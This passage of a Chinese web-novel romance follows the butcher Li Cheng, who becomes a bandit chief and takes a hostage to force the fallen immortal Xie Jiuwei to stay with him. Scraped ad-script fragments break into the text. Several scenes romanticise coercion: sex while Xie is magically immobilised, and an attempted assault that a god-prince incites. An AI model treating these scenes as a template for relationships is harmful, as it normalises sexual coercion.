许是他的愿望许灵验了,接下来几天都没有梦到谢久微,但是白天偶尔切肉的时候冷不丁会想到谢久微,会向来买肉的客人打听有没有见到一个长得好看穿白衣的男人,可是这样的描述太笼统,根本打听不到谢久微的消息,他也无法详细说谢久微有一双蓝眼睛,暴露谢久微异族的身份 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 只会给谢久微和自己带来麻烦。 这谢兄弟来得突然走得也突然,李承现在回想起和谢兄弟相处的那两天就像做梦一样。 这天,不知是不是李承的错觉,他觉得集市上的人比往常多,忽然听到来买肉的婶子们兴奋地唠嗑。 “哎,你听说了没有?赵屠夫娶了个天仙!” “天仙?” “是啊!老赵媳妇去郭娘子的成衣坊做衣服,郭娘子给她量尺寸的不小心看到她的脸,好家伙!这小模样长得,比县太爷家的千金还漂亮!” “真的假的?咱们县太爷的千金可是我们镇公认的第一美人,老赵媳妇比她还漂亮,那得什么样啊?” “我也没见过,听天兴酒楼的张娘子说的,据说是她丫鬟去成衣坊取衣服的时候听郭娘子说的!” “郭娘子这人一般不说谎,看来老赵媳妇是真漂亮!哎!咱们一会儿去老赵家看看他媳妇呗!” “谁说不是呢!走呗!” 俩人还问李承听没听说过这事,李承憨厚地挠了挠头,说没有。 一个婶子嘴上把门不严,多嘴说了一句:“你看看人家赵屠夫,娶了个天仙当媳妇!” 这婶子说完,另一个婶子使劲对她使眼色,这不就等于说李承的孙姑娘丑嘛! 李承也没生气,憨厚地笑笑:“那是人家老赵有福气!” “是啊是啊!”两个婶子见李承没计较,赶紧打着哈哈,买了肉就走了。 李承心里犯嘀咕,老赵媳妇真有那么漂亮? 算了,他有孙姑娘,管他什么老赵媳妇老李媳妇,都跟他没有关系! 下午收了摊去孙姑娘家,看到孙姑娘做了一桌好菜在等他,李承觉得受宠若惊。 因为平时俩人吃得很简单,两个菜就够了,而且俩人轮流做菜,今天本来轮到李承做菜,可是当他一到孙姑娘家,就已经看到四菜一汤摆在桌子上了,孙姑娘还热情地邀请他坐下吃饭,李承丈二和尚摸不着头脑。 吃饭的时候孙姑娘委委婉婉地提了别人说老赵媳妇是天仙的事。李承这下明白了,连忙表态,在他心里容貌一点都不重要,孙姑娘这样温柔又贤惠的女子才是良配,夸得孙姑娘笑得跟一朵花一样,饭间十分和谐。 这天夜里,李承做梦,梦里他跑到老赵家门口,小心翼翼地走进去,看到一个清瘦的白衣人背对着他坐在床上,身形有些熟悉。 那人听见动静,转过头来,露出一双湖泊一般美丽的蓝眸,同时那人怀里还抱着一个小婴儿,嘴角噙着一抹温柔的笑意,浑身散发着母性的光辉。 是李承从来没见过的模样。 李承还没来得及震惊,就看见屠夫老赵从门口走进来,床上的男人对着老赵羞涩地笑笑:“赵郎,你回来了?” 李承一下子从梦中惊醒。 见了鬼了! 他不仅梦见谢兄弟抱着孩子,还梦见谢兄弟成了老赵的媳妇! 8. 第七章 李承对老赵媳妇生出了好奇,甚至开始怀疑老赵媳妇是不是真的是谢兄弟,想想又觉得荒谬,他在院子里第一次看到谢兄弟的时候,老赵早就娶了媳妇了,谢兄弟怎么也不可能是老赵媳妇。 可是许是因为那个梦,他对老赵媳妇生出了好奇心,总想着。 还没等他动身,就从隔壁王大娘那里听说了老赵媳妇生病不见客的消息。 听说镇上最漂亮的姑娘吴知县家的千金嚷着要见老赵媳妇都没见着。 吴知县的千金是镇上出了名的刁蛮大小姐,吴知县对她是无有不应,一般老百姓也不敢惹她。 这次她去见老赵媳妇,听说老赵媳妇生病了也要探望,老赵愣是没答应,给吴小姐气得带人就要冲进去,老赵堵在门口一打五,双方僵持不下,任吴小姐怎么威逼利诱老赵也不答应,老赵伤痕累累依然坚持挡在门口,最后吴小姐跺着脚走了,临走还威胁老赵等着瞧。 王大娘讲完喝了一大口茶,说也是真佩服老赵,将自家媳妇护得是严严实实,李承也对老赵刮目相看。 王大娘还悄悄猜测,说老赵媳妇也许根本没病,就是老赵不想让媳妇被别人看到。 还有理有据地分析,自从老赵成亲之后就把媳妇宝贝似的捂在家里,这帮乡里乡亲从来也没见过老赵媳妇,这下媳妇被别人看到长得好看了,老赵肯定慌了,知县千金万一真看到了,万一老赵媳妇长得比知县千金还好看,按照知县千金这脾气,以后知县千金可不得总找老赵媳妇麻烦。 李承觉得王大娘说得十分有道理。 他想起之前看到过老赵给媳妇买幕篱的情景,觉得老赵媳妇肯定长得很好看,不然肯定不会像谢兄弟似的买幕篱。 话说谢兄弟和老赵媳妇比,谁更好看? 不过谢兄弟已经走了好些日子了,想到这里,李承觉得有些怅然若失。 这天,李承去孙姑娘家里帮忙的时候,看见孙姑娘脸上的胎记竟然不见了,孙姑娘满脸开心地对他说自己找了好久终于找到一个妙手回春的大夫,把她脸上的胎记去掉了。 孙姑娘脸上的胎记去掉了,一张小脸清秀可人,走在街上人见人夸,李承为孙姑娘高兴。 过了几天,李承在街上卖肉的时候忽然看见孙姑娘跟一个书生打扮的人有说有笑的,孙姑娘看见李承,立马拉着书生转头就走。 李承觉得不对劲,收摊之后就去找孙姑娘问白天看见那个书生是谁。 孙姑娘支支吾吾的说是个朋友,并拉着李承的胳膊撒娇问他是不是吃醋了,李承黑着脸,觉得 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 承认吃醋很没面子,孙姑娘笑着说给他去做好吃的,看着一桌好看的糕点和孙姑娘诚心诚意道歉,李承也没好再说什么。 李承以为这事过去了,直到又过了两天,王大娘跟李承说,小心孙姑娘有外心,她这两天总能看见孙姑娘跟个书生拉拉扯扯。 李承再次去找孙姑娘对峙,结果在孙姑娘家里看见了书生,他怒火中烧直接就打了书生一拳。 孙姑娘心疼地扑向书生,直接跟李承摊牌说自己爱上了书生,他们之间的婚约取消。 李承大受打击,质问为什么。 孙姑娘说自己只爱书生。 李承看着俩人缠缠绵绵地抱在一起,心痛地离开了。 李承心里不痛快,一个人找了个酒馆坐下来咚咚灌酒。 孙姑娘没有说,可他大概知道为什么。 孙姑娘脸上胎记消了,嫌他长得丑,还穷。书生干干净净,长得好,还能考科举,有前途。 要是他是女的,也选书生。 李承跌跌撞撞地回家去,看见一个人扶着他家的院墙,黑夜里的白衣格外明显,他满口酒气地问:“你……你谁啊?” 那人转过头,露出一双清澈美丽的蓝眸。 李承瞪大了双眼:“谢兄弟?!” 9. 第八章 李承随即目光落到了谢久微的身上,眼睛瞪得更加大。 谢久微身上的衣服破破烂烂的,不复往日干净的样子。 “谢兄弟你咋了?你的衣服怎么……” 他话还没说完,谢久微整个人就跌了下去,李承连忙接住,登时酒醒了一半。 李承把谢久微抱到屋里的床上,才发现谢久微身上很烫。 “谢兄弟你发烧了?我去给你找大夫!” 李承说完,刚要走,袖子就被谢久微拽住,听见谢久微一声虚弱的:“不要走。” 李承回过头,发现谢久微身上有些痕迹,看起来很暧昧,让人忍不住浮想翩翩,“谢兄弟,你……” 谢久微的意识也很混乱,他胡乱抓着,抓住了一只满是茧子的手掌。 后来的事,李承也记不太清楚了,他头脑混沌,心跳怦怦,眼睛见到的已经超乎了他的承受范围。 酒意又上来了,李承只觉得眼前的一切都美得要命,他情不自禁地咽了下口水:“谢……谢兄弟……” 这夜过得很混乱。 第二日醒来,两人之间陷入了尴尬。 “谢兄弟,你……我……”李承黝黑的脸涨得通红,无法面对谢久微美丽的蓝色眼睛。 谢久微默默地穿好衣服,站起来背对着李承,说:“李承,昨天晚上的事,我们都忘了吧。”说完,抬步就要走。 李承赶紧下床拉住谢久微的胳膊:“你要去哪?” 谢久微闭了闭眼,说:“去我该去的地方。” 李承有些摸不着头脑:“你该去的地方……是哪?” 谢久微没有说话,只是轻轻把李承握着自己胳膊的手拿了下去,向门口走去。 “谢兄弟!” 李承两步并做三步跑过去再次拉住谢久微的胳膊,有些焦急地看着谢久微的侧脸说:“俺……俺知道你是男人,但是俺会对你负责的!” 谢久微身体一僵。 李承说完,自己也被自己吓了一跳,但是话都说到这个份上了,只能硬着头皮继续说下去了! 于是,李承咽了咽口水,试探性地继续说下去:“谢兄弟……你……是不是嫌俺长得丑?” 李承问完,心里怦怦跳,他想到了孙姑娘,谢兄弟不会也是个以貌取人的人吧?他刚要难过,却见谢久微转过头来,看向他,一双蓝眸中情绪复杂。 李承不懂谢久微的想法,自顾自说道:“俺这长相是爹娘给的,也没法子,俺知道自己长得不咋地,但是你放心,俺会努力赚钱养你的!”李承眼睛亮晶晶地瞅着谢久微。 “李承,我们不是一路人,你不要再执着了,忘了我吧,就当从来没有遇见我。” 谢久微的声音很轻,却也很冷。说完,再次拂去李承的手,推开门。 “谢久微!” 李承情急 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地大喊,但是谢久微没有停下脚步,径直往前走去。 李承追到门外,大声问:“你是不是还要跟那个公子哥儿走?” 谢久微脚步一顿,说了一句:“与你无关。”说完,推开院子的大门走了出去。 李承顿时垮了下来,倚在门口,浑身无力,像是打了一场大仗,脑袋嗡嗡,身心俱疲。 三年后。 明玉镇里经常有土匪出没,那群土匪占山为王,自称九龙寨。传闻九龙寨的寨主很神秘,从来没有人见过寨主的真面目。 谢久微彻底失去灵气的第三年,他所借住的王猎户家的女儿被虏到九龙寨里,他这几年一直深居简出,低调行事,但是此刻为了报答王猎户的恩情,不得不决定去九龙寨一探究竟。 谢久微准备了一些防身的东西,他选了一个天黑的时间上山,紧紧握住袖子里的匕首,艰难跋涉到山顶,他将身体藏在一棵大树后,透着夜色探看着,看到木制大门上九龙寨三个大字,正在他思考从哪里溜进去时,突然,一阵奇怪的异香迎面扑来,紧接着一块黑布兜头罩了下来,他便失去了意识。 当谢久微恢复意识时,眼前一片漆黑,眼睛上被人蒙了一块布,双手被绑在身后,周遭很安静,他静默一会儿,紧张地询问:“有人吗?” 突然,一只手按住他的领口,仿佛一条蛇在身上游走,谢久微霎时惊出一身冷汗,问道:“你是谁?” 10. 第九章 那人没有回答他,自顾自地继续。 谢久微下意识地扭动身体挣扎着,那人沙哑的嗓音响起:“别动,如果你不想让王金玲死的话。” 谢久微不再挣扎,问道:“你要怎么样才能放过王金玲?” 那人问:“王金玲对你很重要?” 谢久微默了一瞬,不答反问:“如果我没猜错的话,阁下就是九龙寨的寨主对吗?” 谢久微话音刚落,便感觉那人的手一顿,“你很聪明。你怎么知道我就是寨主?” 谢久微道:“我听说没人见过九龙寨的寨主,你蒙上我的眼睛,是不让我看见你,是寨主能做出的事情。” 那人说:“任何一个人绑你来,都会蒙上你的眼睛,你不能凭此认定我就是寨主。” 谢久微说:“是,但是你知道我上山的目的,而且,你能决定王金玲的死活。” 那人不说话了。 谢久微继续道:“并且我被人迷晕之后,见到的第一个人就是你。如果这一切不是寨主授意,九龙寨谁敢私自动手?” 谢久微说完,那人突然大笑起来,“既然你这么聪明,不如猜猜我想要什么。” 谢久微沉默下来。 谢久微感觉到一只带着厚茧的手抚上他的脸。 那人凑到他耳边,炽热地吐息着:“你这么聪明,一定知道。” 谢久微突然念出了一个名字,那人的手一顿,问道:“李承是谁?” 谢久微没有回答他。 那人又开口:“为什么突然提这个人的名字?”那人说着,手指缓慢地下滑:“还是说……你们从前有过什么?” 谢久微的呼吸陡然急促。 那人突然发怒:“说啊!” 谢久微努力平复自己的呼吸:“你……为什么……这么问?” 那人的声音突然变轻,凑到谢久微的耳边说了两个字:“好奇。” “你真的不认识李承?” “李承是谁?你为什么一直说他的名字?” “我有一些话,想要告诉他。” 谢久微本来想要继续试探,可是眼下的情况让他乱了阵脚,他喘着说:“那我……无可奉告。” 那人突然大笑几声,道:“好!那我也不在乎!” 衣袂拉扯间,眼看情况不受控制,谢久微拼着最后一丝清明道:“答应我,放了王金玲!” 那人亲昵地咬住他的耳朵:“只要你乖乖听话,我就放了她。” 谢久微天生不喜与人亲近,只想离得越远越好,可是每当他逃离的时候,总被那人抓回去。 谢久微浑浑噩噩地过了几日,清醒过来的时候,那人正把玩着他的手指,自言自语道:“真没想到,为了王金玲,你愿意付出这么大的代 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 价。” 谢久微开口,嗓音沙哑得不成样子:“放王金玲回去。” 那人早上的好心情被破坏,有些不悦,把谢久微往怀里一搂,问他:“你喜欢王金玲?” 谢久微沉默着,感受到那人用力越来越紧,才开口:“金玲于我,就像妹妹一般。” 此话一出,那人的力道顿时松懈了许多,拿起谢久微的手指把玩着,似不经意地问:“我见你不似不通风月之事,从前可有相好?” 谢久微沉默一瞬,反问道:“何时放了王金玲?” 那人说:“你回答我刚才的问题,我就放了王金玲。” 谢久微沉默着。 那人又开口,迟疑地问:“你的相好……莫不是李承?” 那人说完,感觉谢久微的身体僵了一瞬,忙追问:“真是李承?”声音听着有些激动。 谢久微说:“不是。” “那是谁?”那人的声音又沉下来,明显不悦。 谢久微默了默,说:“没有什么人。” 那人声音尽是怒气:“你不与我说实话,我就不放王金玲!” 谢久微沉默一瞬,忽然道:“李承。” 那人身体一僵。 谢久微知道他猜对了。 谢久微趁着李承失神之际,从李承的怀里坐起来,扯下眼睛上的丝带,看到了眼前人的面容。 11. 第十章 从前的大胡子刮了去,下巴上只有一些胡茬,露出的容貌棱角分明,深邃的眼睛紧紧盯着谢久微。 谁能想到,当初那个又穷又邋遢的屠夫老李,竟跑到九龙寨当了山大王? 即使一个人的容貌有了改变,眼睛是不会变的。 即使相处只有短短几个月,谢久微却记住了李承的眼睛。 他清楚地知道,眼前这个人,就是李承。 谢久微问:“为什么你会来这里当九龙寨的寨主?” 李承道:“你走了之后,我到处找你,后来有人告诉我好像在明玉镇看见了你,我就来到了这里,但是这里不收外来人,我只好占山为王,当了寨主。后来知道了你借住在王屠户家,我就派人虏了他的女儿,我就知道你一定会来。” 李承说得好像很轻松,但是谁又知道他吃了多少苦,他千辛万苦来到明玉镇,初来乍到人生地不熟,没少被人欺负,后来好不容易当上寨主,才真正在明玉镇立足。 这次为了见谢久微,他也做了不少功课,他记得谢久微说他们不是一路人,他听说谢久微当了教书先生,他也抓了一些教书先生教他读书。 一个大字不识的屠夫,歪歪扭扭磕磕绊绊地读书写字,个中艰辛只有他自己知道。 这次见谢久微之前,李承还特意梳洗打扮一番,为了给谢久微一个好印象,他想和谢久微有一个新开始。 李承抓过谢久微的手放在自己的脸颊上,激动地问他:“谢久微,久微。我最近都有在认真读书,我想让你知道,我不是从前那个屠夫李承了,我和从前不一样了,你看,我的胡子都刮掉了,你是不是……有点喜欢我了?” 谢久微看见李承盯着自己的眼神炽热又痴缠,招架不住地别过眼睛:“李承,你不必做这些,你做的这些,我不会回应你。我只求你一件事。你我之间的事,不要牵连他人,你把王金玲放了吧。” 李承如坠冰窟:“为什么?!你说我们不是一路人,我为了你改变,我为了你读书识字,我现在已经可以你成为一路人了,你为什么不回应我?” 谢久微默了默,说:“我不想耽于情爱,李承,你不要执着我了。” 李承气不过,直接抓过谢久微对着他的唇吻了下去。 谢久微本能地挣扎起来,李承按住谢久微的双腕,将人抵在墙上发狠地吻着。 一吻过后,谢久微被吻得眼尾发红,眼神迷离,纯洁干净的容貌,发红的眼尾为他添了几分风情,像是熟透粉嫩的果子,等人采摘。 李承看着谢久微湿漉的红眼尾,吐出的热气交融在两人鼻间:“这几日,你也是有感觉的不是吗?” 谢久微别开眼睛,垂在身侧的手紧握成拳:“你不要说了,这种事我不想再经历了,你把王金玲放了,不要再纠缠我了。” 李承沉默沉默片刻,忽然问:“你是不是有喜欢的人?” 谢久微身子一僵。 李承觉得自己猜对了,他继续说:“三年前,你无缘无故地失踪,隔壁的王大娘说,你被一个有权有势的公子哥儿带走了,你是不是喜欢那个公子哥儿所以才不接受我?” 谢久微沉默着。 李承觉得谢久微是默认了,他恼怒地抓住谢久微的肩膀吻住谢久微,近乎凶狠地啃噬着。 谢久微用力挣扎着,李承控制欲上头,两人互不相让,突然,“啪”的一声,一个响亮的巴掌扇在李承的脸上。 “够了!”谢久微深吸一口气,“李承,你胡闹也胡闹够了!放了王金玲!不要再纠缠我了!” 李承盯着谢久微,眼神沉得吓人:“我不放王金玲,你要如何?” 谢久微抓起床上的衣服胡乱套在身上下了床向门口走去,当他打开门,看到两个凶神恶煞的壮汉站在门口。 谢久微回头,看着李承,蓝眸里写满不耐和厌恶:“李承,你到底想怎么样?” 李承看着他,说:“留在我身边。” 屋子里一时陷入了沉默。 直到谢久微开口说:“好,你放了王金玲。” 李承大喜过望,直接迈下地三步并作两步跑向谢久微把人抱起来转了一圈,眼睛亮晶晶地看着谢久微:“我好开心!我好开心!谢久微!我好开心!” 说着,低头吻了谢久微一口。 谢久微说想亲眼看着李承放了王金玲,李承同意了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 谢久微看到九龙寨的两个山匪押着王金玲下了山,终于安了心。 李承对谢久微和那个有权有势的公子哥儿的事耿耿于怀,费尽心思旁敲侧击也没问出个所以然来,反倒是谢久微说什么也不肯让他近身了,李承也知道这些天确实是把人折腾狠了,近几日减少了来谢久微这里的次数。 白袍公子坐在床边翘着二郎腿,斜眼瞅着倚在床上看书的谢久微,酸道:“本殿在九重天受尽老头子的折磨,你倒是在这儿盛宠正隆啊!” 谢久微捧着书,并未抬眼:“我如今凡人一个,殿下还来看我这个凡人做什么?” “本殿想你了,来看看你不行吗?”白袍公子笑吟吟说着,语气亲昵。 忽然,窗边风微动,白袍公子瞬间出现在谢久微身侧,目光在谢久微单薄的身上流连,欺近他的脸颊道:“啧啧,瞧你这一身,难道那粗莽凡人比本殿还要英勇?” 谢久微用书将白袍公子隔开,将微微敞开的衣襟合上,“殿下你还是回去吧,凡俗之地恐污染了殿下的千金贵体。” “谢久微。”白袍公子的声音懒洋洋的,谢久微却是一凛,他知道,这是对方严肃起来的样子。 白袍公子一把掐住谢久微的下巴,盯着他发狠道:“本殿想去哪,还轮不到你插嘴!” 说着,目光又转向谢久微的身体,轻柔地赞叹:“多美的一具身体啊!”说着,将人狠狠掼在床上,“可惜被污染了!” “谢久微是谁啊?纤尘不染的上仙,父亲身边的红人,眼高于顶,连本殿都不放在眼里!”白袍公子说到最后,几乎咬牙切齿。 白袍公子很快又笑了:“可是现在,谢久微你看看你自己,一身污秽,哪里还有上仙的样子?!” 谢久微保持着伏在床上的姿势,没有反驳,也没有说话。 白袍公子慢慢俯下身去,用施舍一般的语气说:“本殿虽不喜碰你这残败之身,但本殿听说这凡间独守空房的寡妇之流也别有一番滋味,想来你那粗莽凡人也是尝到了此等滋味才对你爱不释手。” “那么本殿就再给你一次机会,你将本殿服侍好了,就能重回九重天,怎么样?” 12. 第十一章 没等到谢久微回答,门外传来脚步声,很快李承推门而入,白袍男子瞬间化作一缕烟消失。 李承拿着几本书走进来,看到谢久微衣衫凌乱地坐起来,眼眸暗了暗。 李承走到床边,显摆似的摇了摇手里的几本书:“久微,你看我给你带了什么好东西?” 谢久微整理好衣服,偏过头去说:“我不想见你,你出去吧。” 李承径直坐在床边,揽过谢久微的肩头,放低了声音语气柔和地问:“还生气呢?” 谢久微动了动肩膀,觉得李承的手掌异常滚烫,他很不自在,再加上他觉得以刚才那人的性格,此刻一定在暗处看着他们,他不想露出窘态,说:“我要睡了,你出去吧,有什么事明天说。” 李承满心的欢喜结果被扫了兴,很失落,他坚持把书摊到谢久微眼前,“这都是我特意为你淘的孤本,真的不看看吗?” 李承一本一本地给谢久微念着书名,谢久微忍不住将目光落到书上,李承看见了,低头亲了一下谢久微的侧脸,谢久微一个激灵将李承推开,扯过被子裹住身体:“你出去,我要睡了。” 李承欺近谢久微,不死心地道:“宝贝儿,心肝儿,你都晾着我三天了,你不能再这么晾着我了!” 相处数日,李承从未露出如此情状,倒给谢久微惊出了一身鸡皮疙瘩。 谢久微也知道自己前几日确实一直拒绝李承,此刻的李承大有一副不达目的誓不罢休的架势,只好无奈道:“我今日实在是很累,明日吧。” 李承却不肯就此离开:“久微,我给你读书怎么样?正好给你看看我这些日子读书习字的成果。”说着,自顾自翻开一本读了起来。 李承淘的这几本确实是谢久微感兴趣的书,谢久微刚开始不想听,但是随着李承读下去,便也上了心。 李承读到一个位置,刻意停了下来,果然看到谢久微露出头看着他问:“怎么不读了?” 李承把书摊开:“我不认识这个字,你帮我看看念什么?” 谢久微信以为真,凑过去,李承一把将人搂到怀里吻了过去,谢久微挣扎着想要推开李承,却发现自己浑身无力,他觉得不对劲想要开口问,却发现连说话的力气也没有了,一瞬间心里已经猜出原因。 李承也觉得今天的谢久微异常配合,忍不住亲了又亲:“久微,你今天好乖,是有点喜欢我了吗?” 他没等到谢久微的回答,这具躯体在配合他,他便沉浸在欢喜中。 一夜荒唐,李承一本满足,早上想要跟谢久微共进早餐却被谢久微拒绝了。 李承只当是谢久微在闹脾气,吩咐下人将谢久微的早餐端进来,自己一个人出去吃了。 李承离开后,白袍男子现身在窗边,看着谢久微,勾了勾唇:“谢久微,昨夜的滋味如何?” 谢久微从容地坐起来整理衣襟:“陛下如果看到殿下这般不务正业,恐会大发雷霆。” 白袍男子脸上的笑容一下子消失,“谢久微,惹怒本殿对你没有好处。”说着,瞬间欺近到谢久微的面前,捏住他的下巴,冷冷地盯着他:“谢久微,堕落的滋味如何?你昨夜的样子,可真是妙极了。” 谢久微闭上双眼,不为所动:“殿下,我如 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 今只是一介凡人,命如草芥,殿下的时间宝贵,何必浪费在我身上?” 白袍男子咬牙切齿道:“谢久微,你知道你最可恨的是什么吗?明明你已经在本殿眼里已经跟剥光了没什么两样,却还是做出这种高高在上的样子,是不是要本殿将昨夜的一切回放出来,才能看见你的失态?” 谢久微睁开眼睛,直直地看着白袍男子:“殿下,您到底想怎么样?难道要我将您的一切和盘托出,您才肯放过我?” 白袍男子一下子揪住谢久微的衣领:“你敢?!” 谢久微的目光很淡:“殿下,您回您的九重天,我过我的凡人日子,从此,不再相见。” 白袍男子揪着谢久微的衣服,不甘地看着他:“谢久微!你当真……” 白袍男子的话没有继续说下去,手中泛出白光,昨夜的一切声情并茂地出现在眼前。 白袍男子紧紧盯着谢久微的表情变化。 几乎是一瞬间,各种情绪交杂,谢久微第一次露出气急败坏的情绪:“溯渊!你!” 溯渊向谢久微吹了一口气,如愿地笑了:“我会再来看你的。” 李承吃完饭进屋,看到神色郁郁的谢久微,饭菜也没吃几口,担忧地坐到床边揽过谢久微问:“怎么了?身体不舒服吗?是昨夜我过分了?” 谢久微脸上一热,说:“你出去,我想一个人待着。” 李承说:“你把饭菜吃了,我让下人给你热一热,你多吃点。”说着,吩咐下人去热菜。 下人端了饭菜出去。 谢久微忽然开口:“李承,你要留我到几时?” 13. 第十二章 李承一怔:“你闷了吗?你想去哪?我陪你去,我不求别的,你让我陪着你就好。” 看见眼里明晃晃的乞求,谢久微偏过头去,说:“我不喜欢你。” 李承执拗地坚持:“感情是可以培养的。” 谢久微说:“我不想和你培养。” 李承不相信:“那你昨夜为什么不反抗我?” 谢久微顿时哑口无言,李承觉得有了几乎,赶紧握住谢久微的手,激动地看着他说:“我就知道,我就知道你是喜欢我的对不对?你刚刚说的都是气话对不对?” 谢久微不去看他:“不管你说什么,我还是要走,你留得住我的人,留不住我的心。” 李承觉得自己的心一寸一寸凉下去。 这些日子,就像一场梦一样。 曾经遥不可及的人,在他怀里,真实地存在着,每天早上醒来,都可以看到对方的睡颜,这是他这辈子最幸福的时光了。 可是不管他怎么自欺欺人,梦还是有醒的一天。 李承闭了闭眼,睁开,看着谢久微:“好,我放你走。” “只是……再陪我一晚,好吗?” 谢久微答应了。 李承郑重地,再次问到了这个问题:“谢久微,你告诉我,你是为了那个有权有势的公子哥儿才走的吗?你想去找他是不是?” 谢久微张了张口,说:“是。” 李承一下子被抽走了所有力气一般,他不想承认的,不愿意承认的,终于成为了他不得不承认的事实。 他听见自己颤抖着声音问:“你和他,是怎么认识的?” 谢久微沉默片刻,说:“我和他……也不是很熟。” “不熟?”李承像是抓住了一根救命稻草一般,“不熟你为什么对他死心塌地?不熟你为什么要去找他?” 谢久微闭上眼睛,疲惫地说:“这些都是往事了,我不想再提。” 李承又被卸了力,谢久微不愿意跟他说,谢久微什么也不愿意跟他说。 是啊,那是他和他的过往,凭什么告诉他? 李承轻轻地伸出手,碰到谢久微的肩膀,见到谢久微没有躲避他,他便大着胆子,小心翼翼地将人揽入怀中,享受这好似偷来的幸福。 他将手放在谢久微的小腹上,说:“你知道吗?我曾经梦见过你抱着孩子,像慈母一样。” 谢久微身体一僵,没有回应他。 李承喃喃道:“你明明身体异于常人,为什么不会怀孕呢?你要是能怀孕多好?你怀孕了,就不会走了。” 关于怀孕这样的话,这些日子,李承不止一次说过。 李承说着说着,试探性地贴近谢久微的唇,他没有吻上去,谢久微本能地偏过头去。 李承执着地吻了过去。 谢久微也没有挣扎,这一次,没有人用法力牵制他。 察觉到谢久微的纵容,李承胆子越来越大,一发不可收拾。 第二日,李承亲自送谢久微下了山,眼看着谢久微的背影越来越远。 第一次离别,是他没有勇气去追。第二次,却是他自己放了手。 一个月后。 溯渊笑吟吟地望着山洞里打坐的谢久微:“你终于离开那个粗莽凡人了?想通了?要来投向本殿的怀抱了?” “你让本殿高兴,本殿助你恢复法力如何?” 谢久微睁开眼睛,美丽的蓝眸中写满不悦和厌恶:“殿下,你要怎样才肯放过我?” 溯渊勾唇一笑:“放过你?本殿还不打算放过你。”说完,他听见了脚步声,身子瞬间消失。 “哎哎,听泉听风说寨主的宝贝是个大美人儿,今儿个我俩就能一饱眼福了!” “听泉听风真是亏了!看美人儿看得好好的,偏偏赶上父亲去世不得不回去奔丧,这波让咱俩赚了啊!” “哎!你说我们要不要进去看看啊?” “进去不就被美人儿发现了?你傻啊!” “那我们等美人儿睡了再溜进去看怎么样?” 两个蒙面人在山洞口小声嘀咕着。 谢久微觉得溯渊突然消失不太对劲,决定出去看看,他走出山洞,荒野 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 空无一人,许是自己多疑,又回去打坐。 天色很快暗了下来,谢久微觉得肚子饿了,出去摘了几个果子饱腹,又打坐了一会儿才和衣而睡。 在山洞外守了一天的两个蒙面人悄悄溜进山洞,仔细盯着睡着的谢久微,看得眼睛发亮,哈喇子差点淌下来。 “听泉听风果然没说错!寨主这么宝贝的人果然是绝色!难怪寨主藏了这么多天不给我们看!” “大喜,你说寨主怎么舍得让这美人儿一个人在这荒郊野岭的?他不怕美人儿落到坏人手里?” 大喜翻了个白眼:“寨主不是派我们两个来保护美人么?大京!你是不是傻?!” 大京被敲了一记,不服气地哼了一声,过了一会儿,又开始研究谢久微:“你说这样的美人,抱起来是什么感觉?寨主是不是得老快活了?”说着,眼睛一亮,拍了一下大喜的肩膀,“哎!大喜!你说有没有一个可能,寨主压根没碰过这美人儿?” 大喜继续翻白眼:“你想啥呢?这么漂亮的美人儿,寨主怎么可能没碰过?” 大京不服气:“那你说寨主放美人一个人出来,不是尊重美人的意见,怜香惜玉的行为吗?” “一定是寨主逼迫,美人儿宁死不从,然后寨主心软了,放了美人儿!”大京对自己脑补的小故事十分满意。 大喜不相信,也没反驳大京。 大京开始越看谢久微越觉得喜欢,生了心思,而且撺掇着大喜一起,大喜一开始不同意,但是禁不住大京撺掇,最终同意了。 当大京大着胆子将手伸向谢久微的衣领时,谢久微突然说话了:“两位可有想过此事被你们寨主知道的后果?” 两人被吓了一跳,却见谢久微坐起来,眼神清明地看着他们:“你们现在回去,我可以既往不咎,你们的寨主也不会知道此事。” 谢久微虽然是孤身一人,但眼神坚定,气势凌人。 两人顿时不敢轻举妄动,对视了一眼,转身就想离开,突然,溯渊凭空出现,唇角勾起:“二位兄弟,别走啊!留下来,我能让你们如愿。” 14. 第十三章 两人看着突然出现的溯渊,摸不着头脑。 溯渊说,他只是纯粹想帮他们二人。 两人半信半疑,溯渊一抬手吹出雾气一样的东西,谢久微顿时软倒在地。 两人眼睛一亮,顿时有了底气,扑向谢久微:“美人儿,你别害怕,我们一定比寨主强,我们一定轻轻的,不弄疼你。” 谢久微意识迷蒙间,听见溯渊的声音在耳边响起:“谢久微,开口求我,我就帮你。” 在这个时刻,谢久微脑海里出现的竟然是李承的脸,他竟然在幻想李承能来救他! * 李承派出去的大京大喜两个人迟迟没有回音,他十分担忧,亲自去找。 当李承来到听泉听风所说的那个山洞时,看到谢久微被大京大喜两个人扯着衣服,他愤怒地冲上去:“大京大喜你们在干什么?!” 忽然,一股疾风迎面而来,将李承的身体重重的弹到一旁的墙壁上,这下很重,五脏六腑都要移了位,他咳出一口血来。 李承捂着心口爬起来,摇摇晃晃地往前走去:“你们两个给我住手!” 大京大喜看到李承有点不敢继续下去。 就在这时,耳边响起一个男子的声音:“不用怕,我会帮你们的,不用怕,继续。” 二人醒神一看,旁边不知何时站着一个白袍男子,充满着诱哄的声音让他们忍不住继续下去。 谢久微意识不清间,好像听到了李承的声音,他睁开眼睛,看到李承拼命地要来阻止,他大喊:“李承,你走,我的事不用你管!” “不可能!谢久微!”李承不服气地再次冲上来阻止大京大喜二人,再次被溯渊一挥手打倒。 谢久微看向溯渊说:“溯渊,你住手,我跟你走。” 溯渊勾唇一笑,一掌震开大京大喜二人,将谢久微抱起来,走到趴在地上的李承面前,蔑视地看着他说:“不自量力。” 李承拼尽全力,问出自己心里一直想问的问题:“谢久微,这就是……你喜欢的人?” 